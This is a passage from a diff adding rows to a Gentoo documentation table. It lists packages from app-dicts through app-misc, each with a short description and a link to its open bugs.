+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23eblook">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/qvortaro">app-dicts/qvortaro</uri></ti>
+<ti>Esperanto Dictionary</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23qvortaro">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-dictd-devils">app-dicts/stardict-dictd-devils</uri></ti>
+<ti>Stardict Dictionary for Dictd.org's Devil's Dictionary</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-dictd-devils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-deu">app-dicts/stardict-freedict-eng-deu</uri></ti>
+<ti>Stardict Dictionary English to German</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-deu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-fra">app-dicts/stardict-freedict-eng-fra</uri></ti>
+<ti>Stardict Dictionary English to French</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-fra">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-ita">app-dicts/stardict-freedict-eng-ita</uri></ti>
+<ti>Stardict Dictionary English to Italian</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-ita">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-lat">app-dicts/stardict-freedict-eng-lat</uri></ti>
+<ti>Stardict Dictionary English to Latin</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-lat">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-spa">app-dicts/stardict-freedict-eng-spa</uri></ti>
+<ti>Stardict Dictionary English to Spanish</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-spa">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-freedict-eng-swe">app-dicts/stardict-freedict-eng-swe</uri></ti>
+<ti>Stardict Dictionary English to Swedish</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-freedict-eng-swe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-de-vi">app-dicts/stardict-hnd-de-vi</uri></ti>
+<ti>Stardict Dictionary German to Vietnamese</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-de-vi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-en-vi">app-dicts/stardict-hnd-en-vi</uri></ti>
+<ti>Stardict Dictionary English to Vietnamese</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-en-vi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-fr-vi">app-dicts/stardict-hnd-fr-vi</uri></ti>
+<ti>Stardict Dictionary French to Vietnamese</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-fr-vi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-ru-vi">app-dicts/stardict-hnd-ru-vi</uri></ti>
+<ti>Stardict Dictionary Russian to Vietnamese</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-ru-vi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-vi-de">app-dicts/stardict-hnd-vi-de</uri></ti>
+<ti>Stardict Dictionary Vietnamese to German</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-vi-de">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-vi-en">app-dicts/stardict-hnd-vi-en</uri></ti>
+<ti>Stardict Dictionary Vietnamese to English</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-vi-en">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-vi-fr">app-dicts/stardict-hnd-vi-fr</uri></ti>
+<ti>Stardict Dictionary Vietnamese to French</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-vi-fr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-hnd-vi-vi">app-dicts/stardict-hnd-vi-vi</uri></ti>
+<ti>Stardict Dictionary Vietnamese to Vietnamese</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-hnd-vi-vi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-mova-smiley">app-dicts/stardict-mova-smiley</uri></ti>
+<ti>Stardict Dictionary for Mova.org's Smiley Dictionary</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-mova-smiley">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/stardict-quick-eng-fra">app-dicts/stardict-quick-eng-fra</uri></ti>
+<ti>Stardict Dictionary English to French</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stardict-quick-eng-fra">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/NaturalDocs">app-doc/NaturalDocs</uri></ti>
+<ti>Extensible, multi-language source code documentation generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23NaturalDocs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/djbdns-man">app-doc/djbdns-man</uri></ti>
+<ti>Man pages for djbdns</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23djbdns-man">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/doc++">app-doc/doc++</uri></ti>
+<ti>Documentation system for C, C++, IDL and Java</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23doc++">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/linux-gazette-base">app-doc/linux-gazette-base</uri></ti>
+<ti>Linux Gazette - common files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23linux-gazette-base">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/mkdoxy">app-doc/mkdoxy</uri></ti>
+<ti>mkDoxy generates Doxygen-compatible HTML documentation for makefiles</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mkdoxy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/php-docs">app-doc/php-docs</uri></ti>
+<ti>HTML documentation for PHP</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23php-docs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/selfhtml">app-doc/selfhtml</uri></ti>
+<ti>"The" German HTML/XHTML/CSS/XML/DHTML/CGI/Perl/JavaScript Documentation</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23selfhtml">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-doc/selflinux">app-doc/selflinux</uri></ti>
+<ti>german-language hypertext tutorial about Linux</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23selflinux">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/bvi">app-editors/bvi</uri></ti>
+<ti>display-oriented editor for binary files, based on the vi texteditor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bvi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/cooledit">app-editors/cooledit</uri></ti>
+<ti>Cooledit is a full featured multiple window text editor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cooledit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/dav">app-editors/dav</uri></ti>
+<ti>A minimal console text editor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dav">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/efte">app-editors/efte</uri></ti>
+<ti>A fast text editor supporting folding, syntax highlighting, etc.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23efte">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/levee">app-editors/levee</uri></ti>
+<ti>Really tiny vi clone, for things like rescue disks</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23levee">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/lfhex">app-editors/lfhex</uri></ti>
+<ti>A fast, efficient hex-editor with support for large files and comparing binary files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lfhex">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/lpe">app-editors/lpe</uri></ti>
+<ti>a lightweight programmers editor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lpe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/mlview">app-editors/mlview</uri></ti>
+<ti>XML editor for the GNOME environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mlview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/mp">app-editors/mp</uri></ti>
+<ti>Minimum Profit: A text editor for programmers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/nedit">app-editors/nedit</uri></ti>
+<ti>Multi-purpose text editor for the X Window System</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nedit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/wily">app-editors/wily</uri></ti>
+<ti>An emulation of ACME, Plan9's hybrid window system, shell and editor for programmers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wily">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-editors/zoinks">app-editors/zoinks</uri></ti>
+<ti>programmer's text editor and development environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zoinks">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/aranym">app-emulation/aranym</uri></ti>
+<ti>Atari Running on Any Machine, is a virtual machine software for running Atari ST/TT/Falcon operating systems and TOS/GEM applications</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aranym">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/basiliskII-jit">app-emulation/basiliskII-jit</uri></ti>
+<ti>Basilisk II Macintosh Emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23basiliskII-jit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/dinero">app-emulation/dinero</uri></ti>
+<ti>Cache simulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dinero">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/dlx">app-emulation/dlx</uri></ti>
+<ti>DLX Simulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dlx">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/domi">app-emulation/domi</uri></ti>
+<ti>Scripts for building Xen domains</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23domi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/frodo">app-emulation/frodo</uri></ti>
+<ti>An excellent Commodore 64 Emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23frodo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/gxemul">app-emulation/gxemul</uri></ti>
+<ti>A Machine Emulator, Mainly emulates MIPS, but supports other CPU types.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gxemul">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/lib765">app-emulation/lib765</uri></ti>
+<ti>Floppy controller emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lib765">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/libspectrum">app-emulation/libspectrum</uri></ti>
+<ti>Spectrum emulation library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libspectrum">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/pearpc">app-emulation/pearpc</uri></ti>
+<ti>PowerPC Architecture Emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pearpc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/simh">app-emulation/simh</uri></ti>
+<ti>a simulator for historical computers such as Vax, PDP-11 etc.)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23simh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/spectemu">app-emulation/spectemu</uri></ti>
+<ti>48k ZX Spectrum Emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23spectemu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/vmips">app-emulation/vmips</uri></ti>
+<ti>A virtual machine simulator based on a MIPS R3000 processor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vmips">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/vmips-cross-bin">app-emulation/vmips-cross-bin</uri></ti>
+<ti>vmips cross-development tools</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vmips-cross-bin">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-emulation/x48">app-emulation/x48</uri></ti>
+<ti>HP48 Calculator Emulator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23x48">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-forensics/zzuf">app-forensics/zzuf</uri></ti>
+<ti>Transparent application input fuzzer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zzuf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/enca">app-i18n/enca</uri></ti>
+<ti>ENCA detects the character coding of a file and converts it if desired</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23enca">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-cs">app-i18n/man-pages-cs</uri></ti>
+<ti>A somewhat comprehensive collection of Linux czech man page translations</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-cs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-da">app-i18n/man-pages-da</uri></ti>
+<ti>A somewhat comprehensive collection of Danish Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-da">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-de">app-i18n/man-pages-de</uri></ti>
+<ti>A somewhat comprehensive collection of Linux german man page translations</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-de">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-fr">app-i18n/man-pages-fr</uri></ti>
+<ti>A somewhat comprehensive collection of french Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-fr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-it">app-i18n/man-pages-it</uri></ti>
+<ti>A somewhat comprehensive collection of Italian Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-it">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-nl">app-i18n/man-pages-nl</uri></ti>
+<ti>A somewhat comprehensive collection of Dutch Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-nl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-ro">app-i18n/man-pages-ro</uri></ti>
+<ti>A somewhat comprehensive collection of Romanian Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-ro">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/man-pages-zh_CN">app-i18n/man-pages-zh_CN</uri></ti>
+<ti>A somewhat comprehensive collection of Chinese Linux man pages</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23man-pages-zh_CN">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-i18n/zhcon">app-i18n/zhcon</uri></ti>
+<ti>A Fast CJK (Chinese/Japanese/Korean) Console Environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zhcon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-laptop/configure-thinkpad">app-laptop/configure-thinkpad</uri></ti>
+<ti>Thinkpad GNOME configuration utility for tpctl</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23configure-thinkpad">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-laptop/lenovo-sl-laptop">app-laptop/lenovo-sl-laptop</uri></ti>
+<ti>Linux kernel support for the Lenovo SL series ThinkPads</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lenovo-sl-laptop">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-laptop/lphdisk">app-laptop/lphdisk</uri></ti>
+<ti>utility for preparing a hibernation partition for APM Suspend-To-Disk</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lphdisk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/acdctl">app-misc/acdctl</uri></ti>
+<ti>Apple Cinema Display Control</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23acdctl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/aldo">app-misc/aldo</uri></ti>
+<ti>a morse tutor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aldo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/away">app-misc/away</uri></ti>
+<ti>Terminal locking program with few additional features</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23away">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/beancounter">app-misc/beancounter</uri></ti>
+<ti>Finance performance calculation engine with full data acquisition and SQL support</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23beancounter">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/bottlerocket">app-misc/bottlerocket</uri></ti>
+<ti>CLI interface to the X-10 Firecracker Kit</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bottlerocket">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/btail">app-misc/btail</uri></ti>
+<ti>Bayesian logfile filter</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23btail">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cadubi">app-misc/cadubi</uri></ti>
+<ti>CADUBI is an application that allows you to draw ASCII-Art images</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cadubi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cbrpager">app-misc/cbrpager</uri></ti>
+<ti>a simple comic book pager.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cbrpager">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cbview">app-misc/cbview</uri></ti>
+<ti>viewer/converter for CBR/CBZ comic book archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cbview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cdcat">app-misc/cdcat</uri></ti>
+<ti>simple yet effective CD indexing program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdcat">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cdctl">app-misc/cdctl</uri></ti>
+<ti>Utility to control your cd/dvd drive</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdctl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cdircmp">app-misc/cdircmp</uri></ti>
+<ti>Compare directories and select files to copy</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdircmp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cdspeed">app-misc/cdspeed</uri></ti>
+<ti>Change the speed of your CD drive</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdspeed">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/ckermit">app-misc/ckermit</uri></ti>
+<ti>combined serial and network communication software package</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ckermit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/clockywock">app-misc/clockywock</uri></ti>
+<ti>ncurses based analog clock</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23clockywock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/cmatrix">app-misc/cmatrix</uri></ti>
+<ti>An ncurses based app to show a scrolling screen from the Matrix</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cmatrix">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/dnetc">app-misc/dnetc</uri></ti>
+<ti>distributed.net client</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dnetc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/dvorak7min">app-misc/dvorak7min</uri></ti>
+<ti>simple ncurses-based typing tutor for learning the Dvorak keyboard layout</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dvorak7min">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/dvorakng">app-misc/dvorakng</uri></ti>
+<ti>Dvorak typing tutor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dvorakng">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/endeavour">app-misc/endeavour</uri></ti>
+<ti>Powerful file and image browser</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23endeavour">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/flasm">app-misc/flasm</uri></ti>
+<ti>Command line assembler/disassembler of Flash ActionScript bytecode</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flasm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/fujiplay">app-misc/fujiplay</uri></ti>
+<ti>Utility for Fujifilm/Leica digital cameras (via serial port)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fujiplay">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/geekcode">app-misc/geekcode</uri></ti>
+<ti>Geek code generator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23geekcode">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/glimpse">app-misc/glimpse</uri></ti>
+<ti>A index/query system to search a large set of files quickly</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23glimpse">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/gnutu">app-misc/gnutu</uri></ti>
+<ti>GNU Student's Timetable for polish users</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gnutu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/grabcartoons">app-misc/grabcartoons</uri></ti>
+<ti>comic-summarizing utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23grabcartoons">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/gtypist">app-misc/gtypist</uri></ti>
+<ti>Universal typing tutor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gtypist">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/ithought">app-misc/ithought</uri></ti>
+<ti>An internet-aware personal thought manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ithought">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/jail">app-misc/jail</uri></ti>
+<ti>a tool that builds a chroot and configures all the required files, directories and libraries</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jail">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/joy2key">app-misc/joy2key</uri></ti>
+<ti>An application that translates joystick events to keyboard events</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23joy2key">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/linuxspa">app-misc/linuxspa</uri></ti>
+<ti>Linux Serial Protocol Analyser</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23linuxspa">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/logserial">app-misc/logserial</uri></ti>
+<ti>A tool for logging raw data from a serial device.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23logserial">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/mencal">app-misc/mencal</uri></ti>
+<ti>A calendar that can be used to track menstruation (or other) cycles conveniently</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mencal">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/mouseremote">app-misc/mouseremote</uri></ti>
+<ti>X10 MouseRemote</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mouseremote">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/mtoolsfm">app-misc/mtoolsfm</uri></ti>
+<ti>easy floppy-access under linux / UNIX</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mtoolsfm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-misc/multimon">app-misc/multimon</uri></ti>
